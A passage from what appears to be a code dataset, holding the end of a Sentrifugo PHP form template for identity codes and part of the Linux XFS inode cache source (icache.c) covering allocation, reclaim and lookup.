PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with Sentrifugo. If not, see <http://www.gnu.org/licenses/>.\n *\n * Sentrifugo Support <support@sentrifugo.com>\n ********************************************************************************/\n?>\n\n<?php \nif($this->nodata != '')\n{\n?>\n<div class=\"ml-alert-1-info\">\n <div class=\"style-1-icon info\"></div>\n No data found.\n</div>\n<?php \n}\nelse \n{\nsapp_Global::generateClientValidations($this->form);\n\n?>\n<div id=\"error_message\" style=\"display:none;\"></div>\n<div class=\"ml-alert-1-info m1-info-set-2\" style=\"display: none;\">\n <div class=\"style-1-icon info\"></div>\n Identity Codes accept only capital alphabets. Ex: EMPP, VEND\n</div>\n<form name=\"<?php echo $this->form->getName(); ?>\" id=\"<?php echo $this->form->getId(); ?>\" action=\"<?php echo $this->form->getAction();?>\" method=\"<?php echo $this->form->getMethod(); ?>\">\n\t\t<?php echo $this->form->id; ?>\n <div class=\"total-form-controller\">\n\t\t\t<div class=\"new-form-ui clearb\">\n\t\t\t <label class=\"required\">Employee </label>\n\t\t\t\t<div class=\"division loca_state_div\"><?php echo $this->form->employee_code; ?></div>\n\t\t\t <span class=\"errors\" id=\"errors-employee_code\"></span>\n\t\t\t</div>\n\t\t\t<?php if(sapp_Global::_isactivemodule(BGCHECKS)){ ?>\n\t\t\t<div class=\"new-form-ui clearb\">\n\t\t\t\t<label class=\"required\">Background Agency </label>\n\t\t\t\t<div class=\"division\"><?php echo $this->form->bg_code; ?></div>\n\t\t\t\t<span class=\"errors\" id=\"errors-bg_code\" ></span>\n\t\t\t</div>\n\t\t\t<?php } ?>\n\t\t\t<div class=\"new-form-ui clearb\">\n\t\t\t\t<label class=\"required\">Users </label>\n\t\t\t\t<div class=\"division\"><?php echo $this->form->users_code; ?></div>\n\t\t\t\t<span class=\"errors\" id=\"errors-users_code\" ><?php\techo (isset($this->msgarray[\"users_code\"]) && $this->msgarray[\"users_code\"] != \"\")? $this->msgarray[\"users_code\"]: ''; ?></span>\n\t\t\t</div>\n\t\t\t\n\t\t\t<?php if(sapp_Global::_isactivemodule(RESOURCEREQUISITION)) { ?>\n\t\t\t<div class=\"new-form-ui clearb\">\n\t\t\t\t<label class=\"required\">Requisition</label>\n\t\t\t\t<div class=\"division\"><?php echo $this->form->requisition_code; ?></div>\n\t\t\t\t<span class=\"errors\" id=\"errors-requisition_code\" ><?php\techo (isset($this->msgarray[\"requisition_code\"]) && $this->msgarray[\"requisition_code\"] != \"\")? $this->msgarray[\"requisition_code\"]: ''; ?></span>\n\t\t\t</div>\n\t\t\t<?php } ?>\n\t\t<div class=\"new-form-ui-submit\">\n\t\t<?php echo $this->form->submit; ?>\n\t\t<button onclick=\"window.location.href='<?php echo $this->baseUrl();?>/identitycodes';\" type=\"button\" id=\"Cancel\" name=\"Cancel\">Cancel</button>\n\t\t</div>\n</div>\n</form>\n<?php if(!empty($this->msgarray))\t{\t?>\n<script type=\"text/javascript\">\n\tvar empError = \"<?php echo (isset($this->msgarray[\"employee_code\"]) && $this->msgarray[\"employee_code\"] != \"\")?$this->msgarray[\"employee_code\"] : ''; ?>\";\n\tvar bgError = \"<?php echo (isset($this->msgarray[\"bg_code\"]) && $this->msgarray[\"bg_code\"] != \"\")? $this->msgarray[\"bg_code\"] : ''; ?>\";\n\tvar vendorError = \"<?php echo (isset($this->msgarray[\"vendor_code\"]) && $this->msgarray[\"vendor_code\"] != \"\")? $this->msgarray[\"vendor_code\"] : ''; ?>\";\n\tvar staffingError = \"<?php\techo (isset($this->msgarray[\"staffing_code\"]) && $this->msgarray[\"staffing_code\"] != \"\")? $this->msgarray[\"staffing_code\"]: ''; ?>\";\n\tif(empError != \"\")\t$(\"#errors-employee_code\").text(empError);\n\telse\t$(\"#errors-employee_code\").text(\"\");\n\tif(bgError != \"\")\t$(\"#errors-bg_code\").text(bgError);\n\telse\t$(\"#errors-bg_code\").text(\"\");\n\tif(vendorError != \"\")\t$(\"#errors-vendor_code\").text(vendorError);\n\telse\t$(\"#errors-vendor_code\").text(\"\");\n\tif(staffingError != \"\")\t$(\"#errors-staffing_code\").text(staffingError);\n\telse\t$(\"#errors-staffing_code\").text(\"\");\n\t\n</script>\n<?php\t}\t}?>"} {"text": "/*\n * Copyright (c) 2000-2005 Silicon Graphics, Inc.\n * All Rights Reserved.\n *\n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License as\n * published by the Free Software Foundation.\n *\n * This program is distributed in the hope that it would be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write the Free Software Foundation,\n * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n */\n#include \"xfs.h\"\n#include \"xfs_fs.h\"\n#include \"xfs_format.h\"\n#include \"xfs_log_format.h\"\n#include \"xfs_trans_resv.h\"\n#include \"xfs_sb.h\"\n#include \"xfs_mount.h\"\n#include \"xfs_inode.h\"\n#include \"xfs_error.h\"\n#include \"xfs_trans.h\"\n#include \"xfs_trans_priv.h\"\n#include \"xfs_inode_item.h\"\n#include \"xfs_quota.h\"\n#include \"xfs_trace.h\"\n#include \"xfs_icache.h\"\n#include \"xfs_bmap_util.h\"\n#include \"xfs_dquot_item.h\"\n#include \"xfs_dquot.h\"\n#include \"xfs_reflink.h\"\n\n#include <linux/kthread.h>\n#include <linux/freezer.h>\n\n/*\n * Allocate and initialise an xfs_inode.\n */\nstruct xfs_inode *\nxfs_inode_alloc(\n\tstruct xfs_mount\t*mp,\n\txfs_ino_t\t\tino)\n{\n\tstruct xfs_inode\t*ip;\n\n\t/*\n\t * if this didn't occur in transactions, we could use\n\t * KM_MAYFAIL and return NULL here on ENOMEM. Set the\n\t * code up to do this anyway.\n\t */\n\tip = kmem_zone_alloc(xfs_inode_zone, KM_SLEEP);\n\tif (!ip)\n\t\treturn NULL;\n\tif (inode_init_always(mp->m_super, VFS_I(ip))) {\n\t\tkmem_zone_free(xfs_inode_zone, ip);\n\t\treturn NULL;\n\t}\n\n\t/* VFS doesn't initialise i_mode! */\n\tVFS_I(ip)->i_mode = 0;\n\n\tXFS_STATS_INC(mp, vn_active);\n\tASSERT(atomic_read(&ip->i_pincount) == 0);\n\tASSERT(!spin_is_locked(&ip->i_flags_lock));\n\tASSERT(!xfs_isiflocked(ip));\n\tASSERT(ip->i_ino == 0);\n\n\tmrlock_init(&ip->i_iolock, MRLOCK_BARRIER, \"xfsio\", ip->i_ino);\n\n\t/* initialise the xfs inode */\n\tip->i_ino = ino;\n\tip->i_mount = mp;\n\tmemset(&ip->i_imap, 0, sizeof(struct xfs_imap));\n\tip->i_afp = NULL;\n\tip->i_cowfp = NULL;\n\tip->i_cnextents = 0;\n\tip->i_cformat = XFS_DINODE_FMT_EXTENTS;\n\tmemset(&ip->i_df, 0, sizeof(xfs_ifork_t));\n\tip->i_flags = 0;\n\tip->i_delayed_blks = 0;\n\tmemset(&ip->i_d, 0, sizeof(ip->i_d));\n\n\treturn ip;\n}\n\nSTATIC void\nxfs_inode_free_callback(\n\tstruct rcu_head\t\t*head)\n{\n\tstruct inode\t\t*inode = container_of(head, struct inode, i_rcu);\n\tstruct xfs_inode\t*ip = XFS_I(inode);\n\n\tswitch (VFS_I(ip)->i_mode & S_IFMT) {\n\tcase S_IFREG:\n\tcase S_IFDIR:\n\tcase S_IFLNK:\n\t\txfs_idestroy_fork(ip, XFS_DATA_FORK);\n\t\tbreak;\n\t}\n\n\tif (ip->i_afp)\n\t\txfs_idestroy_fork(ip, XFS_ATTR_FORK);\n\tif (ip->i_cowfp)\n\t\txfs_idestroy_fork(ip, XFS_COW_FORK);\n\n\tif (ip->i_itemp) {\n\t\tASSERT(!(ip->i_itemp->ili_item.li_flags & XFS_LI_IN_AIL));\n\t\txfs_inode_item_destroy(ip);\n\t\tip->i_itemp = NULL;\n\t}\n\n\tkmem_zone_free(xfs_inode_zone, ip);\n}\n\nstatic void\n__xfs_inode_free(\n\tstruct xfs_inode\t*ip)\n{\n\t/* asserts to verify all state is correct here */\n\tASSERT(atomic_read(&ip->i_pincount) == 0);\n\tXFS_STATS_DEC(ip->i_mount, vn_active);\n\n\tcall_rcu(&VFS_I(ip)->i_rcu, xfs_inode_free_callback);\n}\n\nvoid\nxfs_inode_free(\n\tstruct xfs_inode\t*ip)\n{\n\tASSERT(!xfs_isiflocked(ip));\n\n\t/*\n\t * Because we use RCU freeing we need to ensure the inode always\n\t * appears to be reclaimed with an invalid inode number when in the\n\t * free state. The ip->i_flags_lock provides the barrier against lookup\n\t * races.\n\t */\n\tspin_lock(&ip->i_flags_lock);\n\tip->i_flags = XFS_IRECLAIM;\n\tip->i_ino = 0;\n\tspin_unlock(&ip->i_flags_lock);\n\n\t__xfs_inode_free(ip);\n}\n\n/*\n * Queue a new inode reclaim pass if there are reclaimable inodes and there\n * isn't a reclaim pass already in progress. By default it runs every 5s based\n * on the xfs periodic sync default of 30s. Perhaps this should have it's own\n * tunable, but that can be done if this method proves to be ineffective or too\n * aggressive.\n */\nstatic void\nxfs_reclaim_work_queue(\n\tstruct xfs_mount *mp)\n{\n\n\trcu_read_lock();\n\tif (radix_tree_tagged(&mp->m_perag_tree, XFS_ICI_RECLAIM_TAG)) {\n\t\tqueue_delayed_work(mp->m_reclaim_workqueue, &mp->m_reclaim_work,\n\t\t\tmsecs_to_jiffies(xfs_syncd_centisecs / 6 * 10));\n\t}\n\trcu_read_unlock();\n}\n\n/*\n * This is a fast pass over the inode cache to try to get reclaim moving on as\n * many inodes as possible in a short period of time. It kicks itself every few\n * seconds, as well as being kicked by the inode cache shrinker when memory\n * goes low. It scans as quickly as possible avoiding locked inodes or those\n * already being flushed, and once done schedules a future pass.\n */\nvoid\nxfs_reclaim_worker(\n\tstruct work_struct *work)\n{\n\tstruct xfs_mount *mp = container_of(to_delayed_work(work),\n\t\t\t\t\tstruct xfs_mount, m_reclaim_work);\n\n\txfs_reclaim_inodes(mp, SYNC_TRYLOCK);\n\txfs_reclaim_work_queue(mp);\n}\n\nstatic void\nxfs_perag_set_reclaim_tag(\n\tstruct xfs_perag\t*pag)\n{\n\tstruct xfs_mount\t*mp = pag->pag_mount;\n\n\tASSERT(spin_is_locked(&pag->pag_ici_lock));\n\tif (pag->pag_ici_reclaimable++)\n\t\treturn;\n\n\t/* propagate the reclaim tag up into the perag radix tree */\n\tspin_lock(&mp->m_perag_lock);\n\tradix_tree_tag_set(&mp->m_perag_tree, pag->pag_agno,\n\t\t\t XFS_ICI_RECLAIM_TAG);\n\tspin_unlock(&mp->m_perag_lock);\n\n\t/* schedule periodic background inode reclaim */\n\txfs_reclaim_work_queue(mp);\n\n\ttrace_xfs_perag_set_reclaim(mp, pag->pag_agno, -1, _RET_IP_);\n}\n\nstatic void\nxfs_perag_clear_reclaim_tag(\n\tstruct xfs_perag\t*pag)\n{\n\tstruct xfs_mount\t*mp = pag->pag_mount;\n\n\tASSERT(spin_is_locked(&pag->pag_ici_lock));\n\tif (--pag->pag_ici_reclaimable)\n\t\treturn;\n\n\t/* clear the reclaim tag from the perag radix tree */\n\tspin_lock(&mp->m_perag_lock);\n\tradix_tree_tag_clear(&mp->m_perag_tree, pag->pag_agno,\n\t\t\t XFS_ICI_RECLAIM_TAG);\n\tspin_unlock(&mp->m_perag_lock);\n\ttrace_xfs_perag_clear_reclaim(mp, pag->pag_agno, -1, _RET_IP_);\n}\n\n\n/*\n * We set the inode flag atomically with the radix tree tag.\n * Once we get tag lookups on the radix tree, this inode flag\n * can go away.\n */\nvoid\nxfs_inode_set_reclaim_tag(\n\tstruct xfs_inode\t*ip)\n{\n\tstruct xfs_mount\t*mp = ip->i_mount;\n\tstruct xfs_perag\t*pag;\n\n\tpag = xfs_perag_get(mp, XFS_INO_TO_AGNO(mp, ip->i_ino));\n\tspin_lock(&pag->pag_ici_lock);\n\tspin_lock(&ip->i_flags_lock);\n\n\tradix_tree_tag_set(&pag->pag_ici_root, XFS_INO_TO_AGINO(mp, ip->i_ino),\n\t\t\t XFS_ICI_RECLAIM_TAG);\n\txfs_perag_set_reclaim_tag(pag);\n\t__xfs_iflags_set(ip, XFS_IRECLAIMABLE);\n\n\tspin_unlock(&ip->i_flags_lock);\n\tspin_unlock(&pag->pag_ici_lock);\n\txfs_perag_put(pag);\n}\n\nSTATIC void\nxfs_inode_clear_reclaim_tag(\n\tstruct xfs_perag\t*pag,\n\txfs_ino_t\t\tino)\n{\n\tradix_tree_tag_clear(&pag->pag_ici_root,\n\t\t\t XFS_INO_TO_AGINO(pag->pag_mount, ino),\n\t\t\t XFS_ICI_RECLAIM_TAG);\n\txfs_perag_clear_reclaim_tag(pag);\n}\n\n/*\n * When we recycle a reclaimable inode, we need to re-initialise the VFS inode\n * part of the structure. This is made more complex by the fact we store\n * information about the on-disk values in the VFS inode and so we can't just\n * overwrite the values unconditionally. Hence we save the parameters we\n * need to retain across reinitialisation, and rewrite them into the VFS inode\n * after reinitialisation even if it fails.\n */\nstatic int\nxfs_reinit_inode(\n\tstruct xfs_mount\t*mp,\n\tstruct inode\t\t*inode)\n{\n\tint\t\terror;\n\tuint32_t\tnlink = inode->i_nlink;\n\tuint32_t\tgeneration = inode->i_generation;\n\tuint64_t\tversion = inode->i_version;\n\tumode_t\t\tmode = inode->i_mode;\n\n\terror = inode_init_always(mp->m_super, inode);\n\n\tset_nlink(inode, nlink);\n\tinode->i_generation = generation;\n\tinode->i_version = version;\n\tinode->i_mode = mode;\n\treturn error;\n}\n\n/*\n * Check the validity of the inode we just found it the cache\n */\nstatic int\nxfs_iget_cache_hit(\n\tstruct xfs_perag\t*pag,\n\tstruct xfs_inode\t*ip,\n\txfs_ino_t\t\tino,\n\tint\t\t\tflags,\n\tint\t\t\tlock_flags) __releases(RCU)\n{\n\tstruct inode\t\t*inode = VFS_I(ip);\n\tstruct xfs_mount\t*mp = ip->i_mount;\n\tint\t\t\terror;\n\n\t/*\n\t * check for re-use of an inode within an RCU grace period due to the\n\t * radix tree nodes not being updated yet. We monitor for this by\n\t * setting the inode number to zero before freeing the inode structure.\n\t * If the inode has been reallocated and set up, then the inode number\n\t * will not match, so check for that, too.\n\t */\n\tspin_lock(&ip->i_flags_lock);\n\tif (ip->i_ino != ino) {\n\t\ttrace_xfs_iget_skip(ip);\n\t\tXFS_STATS_INC(mp, xs_ig_frecycle);\n\t\terror = -EAGAIN;\n\t\tgoto out_error;\n\t}\n\n\n\t/*\n\t * If we are racing with another cache hit that is currently\n\t * instantiating this inode or currently recycling it out of\n\t * reclaimabe state, wait for the initialisation to complete\n\t * before continuing.\n\t *\n\t * XXX(hch): eventually we should do something equivalent to\n\t *\t wait_on_inode to wait for these flags to be cleared\n\t *\t instead of polling for it.\n\t */\n\tif (ip->i_flags & (XFS_INEW|XFS_IRECLAIM)) {\n\t\ttrace_xfs_iget_skip(ip);\n\t\tXFS_STATS_INC(mp, xs_ig_frecycle);\n\t\terror = -EAGAIN;\n\t\tgoto out_error;\n\t}\n\n\t/*\n\t * If lookup is racing with unlink return an error immediately.\n\t */\n\tif (VFS_I(ip)->i_mode == 0 && !(flags & XFS_IGET_CREATE)) {\n\t\terror = -ENOENT;\n\t\tgoto out_error;\n\t}\n\n\t/*\n\t * If IRECLAIMABLE is set, we've torn down the VFS inode already.\n\t * Need to carefully get it back into useable state.\n\t */\n\tif (ip->i_flags & XFS_IRECLAIMABLE) {\n\t\ttrace_xfs_iget_reclaim(ip);\n\n\t\t/*\n\t\t * We need to set XFS_IRECLAIM to prevent xfs_reclaim_inode\n\t\t * from stomping over us while we recycle the inode. We can't\n\t\t * clear the radix tree reclaimable tag yet as it requires\n\t\t * pag_ici_lock to be held exclusive.\n\t\t */\n\t\tip->i_flags |= XFS_IRECLAIM;\n\n\t\tspin_unlock(&ip->i_flags_lock);\n\t\trcu_read_unlock();\n\n\t\terror = xfs_reinit_inode(mp, inode);\n\t\tif (error) {\n\t\t\t/*\n\t\t\t * Re-initializing the inode failed, and we are in deep\n\t\t\t * trouble. Try to re-add it to the reclaim list.\n\t\t\t */\n\t\t\trcu_read_lock();\n\t\t\tspin_lock(&ip->i_flags_lock);\n\n\t\t\tip->i_flags &= ~(XFS_INEW | XFS_IRECLAIM);\n\t\t\tASSERT(ip->i_flags & XFS_IRECLAIMABLE);\n\t\t\ttrace_xfs_iget_reclaim_fail(ip);\n\t\t\tgoto out_error;\n\t\t}\n\n\t\tspin_lock(&pag->pag_ici_lock);\n\t\tspin_lock(&ip->i_flags_lock);\n\n\t\t/*\n\t\t * Clear the per-lifetime state in the inode as we are now\n\t\t * effectively a new inode and need to return to the initial\n\t\t * state before reuse occurs.\n\t\t */\n\t\tip->i_flags &= ~XFS_IRECLAIM_RESET_FLAGS;\n\t\tip->i_flags |= XFS_INEW;\n\t\txfs_inode_clear_reclaim_tag(pag, ip->i_ino);\n\t\tinode->i_state = I_NEW;\n\n\t\tASSERT(!rwsem_is_locked(&ip->i_iolock.mr_lock));\n\t\tmrlock_init(&ip->i_iolock, MRLOCK_BARRIER, \"xfsio\", ip->i_ino);\n\n\t\tspin_unlock(&ip->i_flags_lock);\n\t\tspin_unlock(&pag->pag_ici_lock);\n\t} else {\n\t\t/* If the VFS inode is being torn down, pause and try again. */\n\t\tif (!igrab(inode)) {\n\t\t\ttrace_xfs_iget_skip(ip);\n\t\t\terror = -EAGAIN;\n\t\t\tgoto out_error;\n\t\t}\n\n\t\t/* We've got a live one. */\n\t\tspin_unlock(&ip->i_flags_lock);\n\t\trcu_read_unlock();\n\t\ttrace_xfs_iget_hit(ip);\n\t}\n\n\tif (lock_flags != 0)\n\t\txfs_ilock(ip, lock_flags);\n\n\txfs_iflags_clear(ip, XFS_ISTALE | XFS_IDONTCACHE);\n\tXFS_STATS_INC(mp, xs_ig_found);\n\n\treturn 0;\n\nout_error:\n\tspin_unlock(&ip->i_flags_lock);\n\trcu_read_unlock();\n\treturn error;\n}\n\n\nstatic int\nxfs_iget_cache_miss(\n\tstruct xfs_mount\t*mp,\n\tstruct xfs_perag\t*pag,\n\txfs_trans_t\t\t*tp,\n\txfs_ino_t\t\tino,\n\tstruct xfs_inode\t**ipp,\n\tint\t\t\tflags,\n\tint\t\t\tlock_flags)\n{\n\tstruct xfs_inode\t*ip;\n\tint\t\t\terror;\n\txfs_agino_t\t\tagino = XFS_INO_TO_AGINO(mp, ino);\n\tint\t\t\tiflags;\n\n\tip = xfs_inode_alloc(mp, ino);\n\tif (!ip)\n\t\treturn -ENOMEM;\n\n\terror = xfs_iread(mp, tp, ip, flags);\n\tif (error)\n\t\tgoto out_destroy;\n\n\ttrace_xfs_iget_miss(ip);\n\n\tif ((VFS_I(ip)->i_mode == 0) && !(flags & XFS_IGET_CREATE)) {\n\t\terror = -ENOENT;\n\t\tgoto out_destroy;\n\t}\n\n\t/*\n\t * Preload the radix tree so we can insert safely under the\n\t * write spinlock. Note that we cannot sleep inside the preload\n\t * region. Since we can be called from transaction context, don't\n\t * recurse into the file system.\n\t */\n\tif (radix_tree_preload(GFP_NOFS)) {\n\t\terror = -EAGAIN;\n\t\tgoto out_destroy;\n\t}\n\n\t/*\n\t * Because the inode hasn't been added to the radix-tree yet it can't\n\t * be found by another thread, so we can do the non-sleeping lock here.\n\t */\n\tif (lock_flags) {\n\t\tif (!xfs_ilock_nowait(ip, lock_flags))\n\t\t\tBUG();\n\t}\n\n\t/*\n\t * These values must be set before inserting the inode into the radix\n\t * tree as the moment it is inserted a concurrent lookup (allowed by the\n\t * RCU locking mechanism) can find it and that lookup must see that this\n\t * is an inode currently under construction (i.e. that XFS_INEW is set).\n\t * The ip->i_flags_lock that protects the XFS_INEW flag forms the\n\t * memory barrier that ensures this detection works correctly at lookup\n\t * time.\n\t */\n\tiflags = XFS_INEW;\n\tif (flags & XFS_IGET_DONTCACHE)\n\t\tiflags |= XFS_IDONTCACHE;\n\tip->i_udquot = NULL;\n\tip->i_gdquot = NULL;\n\tip->i_pdquot = NULL;\n\txfs_iflags_set(ip, iflags);\n\n\t/* insert the new inode */\n\tspin_lock(&pag->pag_ici_lock);\n\terror = radix_tree_insert(&pag->pag_ici_root, agino, ip);\n\tif (unlikely(error)) {\n\t\tWARN_ON(error != -EEXIST);\n\t\tXFS_STATS_INC(mp, xs_ig_dup);\n\t\terror = -EAGAIN;\n\t\tgoto out_preload_end;\n\t}\n\tspin_unlock(&pag->pag_ici_lock);\n\tradix_tree_preload_end();\n\n\t*ipp = ip;\n\treturn 0;\n\nout_preload_end:\n\tspin_unlock(&pag->pag_ici_lock);\n\tradix_tree_preload_end();\n\tif (lock_flags)\n\t\txfs_iunlock(ip, lock_flags);\nout_destroy:\n\t__destroy_inode(VFS_I(ip));\n\txfs_inode_free(ip);\n\treturn error;\n}\n\n/*\n * Look up an inode by number in the given file system.\n * The inode is looked up in the cache held in each AG.\n * If the inode is found in the cache, initialise the vfs inode\n * if necessary.\n *\n * If it is not in core, read it in from the file system's device,\n * add it to the cache and initialise the vfs inode.\n *\n * The inode is locked according to the value of the lock_flags parameter.\n * This flag parameter indicates how and if the inode's IO lock and inode lock\n * should be taken.\n *\n * mp -- the mount point structure for the current file system. It points\n * to the inode hash table.\n * tp -- a pointer to the current transaction if there is one. This is\n * simply passed through to the xfs_iread() call.\n * ino -- the number of the inode desired. This is the unique identifier\n * within the file system for the inode being requested.\n * lock_flags -- flags indicating how to lock the inode. See the comment\n *\t\t for xfs_ilock() for a list of valid values.\n */\nint\nxfs_iget(\n\txfs_mount_t\t*mp,\n\txfs_trans_t\t*tp,\n\txfs_ino_t\tino,\n\tuint\t\tflags,\n\tuint\t\tlock_flags,\n\txfs_inode_t\t**ipp)\n{\n\txfs_inode_t\t*ip;\n\tint\t\terror;\n\txfs_perag_t\t*pag;\n\txfs_agino_t\tagino;\n\n\t/*\n\t * xfs_reclaim_inode() uses the ILOCK to ensure an inode\n\t * doesn't get freed while it's being referenced during a\n\t * radix tree traversal here. It assumes this function\n\t * aqcuires only the ILOCK (and therefore it has no need to\n\t * involve the IOLOCK in this synchronization).\n\t */\n\tASSERT((lock_flags & (XFS_IOLOCK_EXCL | XFS_IOLOCK_SHARED)) == 0);\n\n\t/* reject inode numbers outside existing AGs */\n\tif (!ino || XFS_INO_TO_AGNO(mp, ino) >= mp->m_sb.sb_agcount)\n\t\treturn -EINVAL;\n\n\tXFS_STATS_INC(mp, xs_ig_attempts);\n\n\t/* get the perag structure and ensure that it's inode capable */\n\tpag = xfs_perag_get(mp, XFS_INO_TO_AGNO(mp, ino));\n\tagino = XFS_INO_TO_AGINO(mp, ino);\n\nagain:\n\terror = 0;\n\trcu_read_lock();\n\tip = radix_tree_lookup(&pag->pag_ici_root, agino);\n\n\tif (ip) {\n\t\terror = xfs_iget_cache_hit(pag, ip, ino, flags, lock_flags);\n\t\tif (error)\n\t\t\tgoto out_error_or_again;\n\t} else {\n\t\trcu_read_unlock();\n\t\tXFS_STATS_INC(mp, xs_ig_missed);\n\n\t\terror = xfs_iget_cache_miss(mp, pag, tp, ino, &ip,\n\t\t\t\t\t\t\tflags, lock_flags);\n\t\tif (error)\n\t\t\tgoto out_error_or_again;\n\t}\n\txfs_perag_put(pag);\n\n\t*ipp = ip;\n\n\t/*\n\t * If we have a real type for an on-disk inode, we can setup the inode\n\t * now.\t If it's a new inode being created, xfs_ialloc will handle it.\n\t */\n\tif (xfs_iflags_test(ip, XFS_INEW) && VFS_I(ip)->i_mode != 0)\n\t\txfs_setup_existing_inode(ip);\n\treturn 0;\n\nout_error_or_again:\n\tif (error == -EAGAIN) {\n\t\tdelay(1);\n\t\tgoto again;\n\t}\n\txfs_perag_put(pag);\n\treturn error;\n}\n\n/*\n * The inode lookup is done in batches to keep the amount of lock traffic and\n * radix tree lookups to a minimum. The batch size is a trade off between\n * lookup reduction and stack usage. This is in the reclaim path, so we can't\n * be too greedy.\n */\n#define XFS_LOOKUP_BATCH\t32\n\nSTATIC int\nxfs_inode_ag_walk_grab(\n\tstruct xfs_inode\t*ip)\n{\n\tstruct inode\t\t*inode = VFS_I(ip);\n\n\tASSERT(rcu_read_lock_held());\n\n\t/*\n\t * check for stale RCU freed inode\n\t *\n\t * If the inode has been reallocated, it doesn't matter if it's not in\n\t * the AG we are walking - we are walking for writeback, so if it\n\t * passes all the \"valid inode\" checks and is dirty, then we'll write\n\t * it back anyway. If it has been reallocated and still being\n\t * initialised, the XFS_INEW check below will catch it.\n\t */\n\tspin_lock(&ip->i_flags_lock);\n\tif (!ip->i_ino)\n\t\tgoto out_unlock_noent;\n\n\t/* avoid new or reclaimable inodes. Leave for reclaim code to flush */\n\tif (__xfs_iflags_test(ip, XFS_INEW | XFS_IRECLAIMABLE | XFS_IRECLAIM))\n\t\tgoto out_unlock_noent;\n\tspin_unlock(&ip->i_flags_lock);\n\n\t/* nothing to sync during shutdown */\n\tif (XFS_FORCED_SHUTDOWN(ip->i_mount))\n\t\treturn -EFSCORRUPTED;\n\n\t/* If we can't grab the inode, it must on it's way to reclaim. */\n\tif (!igrab(inode))\n\t\treturn -ENOENT;\n\n\t/* inode is valid */\n\treturn 0;\n\nout_unlock_noent:\n\tspin_unlock(&ip->i_flags_lock);\n\treturn -ENOENT;\n}\n\nSTATIC int\nxfs_inode_ag_walk(\n\tstruct xfs_mount\t*mp,\n\tstruct xfs_perag\t*pag,\n\tint\t\t\t(*execute)(struct xfs_inode *ip, int flags,\n\t\t\t\t\t void *args),\n\tint\t\t\tflags,\n\tvoid\t\t\t*args,\n\tint\t\t\ttag)\n{\n\tuint32_t\t\tfirst_index;\n\tint\t\t\tlast_error = 0;\n\tint\t\t\tskipped;\n\tint\t\t\tdone;\n\tint\t\t\tnr_found;\n\nrestart:\n\tdone = 0;\n\tskipped = 0;\n\tfirst_index = 0;\n\tnr_found = 0;\n\tdo {\n\t\tstruct xfs_inode *batch[XFS_LOOKUP_BATCH];\n\t\tint\t\terror = 0;\n\t\tint\t\ti;\n\n\t\trcu_read_lock();\n\n\t\tif (tag == -1)\n\t\t\tnr_found = radix_tree_gang_lookup(&pag->pag_ici_root,\n\t\t\t\t\t(void **)batch, first_index,\n\t\t\t\t\tXFS_LOOKUP_BATCH);\n\t\telse\n\t\t\tnr_found = radix_tree_gang_lookup_tag(\n\t\t\t\t\t&pag->pag_ici_root,\n\t\t\t\t\t(void **) batch, first_index,\n\t\t\t\t\tXFS_LOOKUP_BATCH, tag);\n\n\t\tif (!nr_found) {\n\t\t\trcu_read_unlock();\n\t\t\tbreak;\n\t\t}\n\n\t\t/*\n\t\t * Grab the inodes before we drop the lock. if we found\n\t\t * nothing, nr == 0 and the loop will be skipped.\n\t\t */\n\t\tfor (i = 0; i < nr_found; i++) {\n\t\t\tstruct xfs_inode *ip = batch[i];\n\n\t\t\tif (done || xfs_inode_ag_walk_grab(ip))\n\t\t\t\tbatch[i] = NULL;\n\n\t\t\t/*\n\t\t\t * Update the index for the next lookup. Catch\n\t\t\t * overflows into the next AG range which can occur if\n\t\t\t * we have inodes in the last block of the AG and we\n\t\t\t * are currently pointing to the last inode.\n\t\t\t *\n\t\t\t * Because we may see inodes that are from the wrong AG\n\t\t\t * due to RCU freeing and reallocation, only update the\n\t\t\t * index if it lies in this AG. It was a race that lead\n\t\t\t * us to see this inode, so another lookup from the\n\t\t\t * same index will not find it again.\n\t\t\t */\n\t\t\tif (XFS_INO_TO_AGNO(mp, ip->i_ino) != pag->pag_agno)\n\t\t\t\tcontinue;\n\t\t\tfirst_index = XFS_INO_TO_AGINO(mp, ip->i_ino + 1);\n\t\t\tif (first_index < XFS_INO_TO_AGINO(mp, ip->i_ino))\n\t\t\t\tdone = 1;\n\t\t}\n\n\t\t/* unlock now we've grabbed the inodes. */\n\t\trcu_read_unlock();\n\n\t\tfor (i = 0; i < nr_found; i++) {\n\t\t\tif (!batch[i])\n\t\t\t\tcontinue;\n\t\t\terror = execute(batch[i], flags, args);\n\t\t\tIRELE(batch[i]);\n\t\t\tif (error == -EAGAIN) {\n\t\t\t\tskipped++;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif (error && last_error != -EFSCORRUPTED)\n\t\t\t\tlast_error = error;\n\t\t}\n\n\t\t/* bail out if the filesystem is corrupted. */\n\t\tif (error == -EFSCORRUPTED)\n\t\t\tbreak;\n\n\t\tcond_resched();\n\n\t} while (nr_found && !done);\n\n\tif (skipped) {\n\t\tdelay(1);\n\t\tgoto restart;\n\t}\n\treturn last_error;\n}\n\n/*\n * Background scanning to trim post-EOF preallocated space. This is queued\n * based on the 'speculative_prealloc_lifetime' tunable (5m by default).\n */\nvoid\nxfs_queue_eofblocks(\n\tstruct xfs_mount *mp)\n{\n\trcu_read_lock();\n\tif (radix_tree_tagged(&mp->m_perag_tree, XFS_ICI_EOFBLOCKS_TAG))\n\t\tqueue_delayed_work(mp->m_eofblocks_workqueue,\n\t\t\t\t &mp->m_eofblocks_work,\n\t\t\t\t msecs_to_jiffies(xfs_eofb_secs * 1000));\n\trcu_read_unlock();\n}\n\nvoid\nxfs_eofblocks_worker(\n\tstruct work_struct *work)\n{\n\tstruct xfs_mount *mp = container_of(to_delayed_work(work),\n\t\t\t\tstruct xfs_mount, m_eofblocks_work);\n\txfs_icache_free_eofblocks(mp, NULL);\n\txfs_queue_eofblocks(mp);\n}\n\n/*\n * Background scanning to trim preallocated CoW space. This is queued\n * based on the 'speculative_cow_prealloc_lifetime' tunable (5m by default).\n * (We'll just piggyback on the post-EOF prealloc space workqueue.)\n */\nSTATIC void\nxfs_queue_cowblocks(\n\tstruct xfs_mount *mp)\n{\n\trcu_read_lock();\n\tif 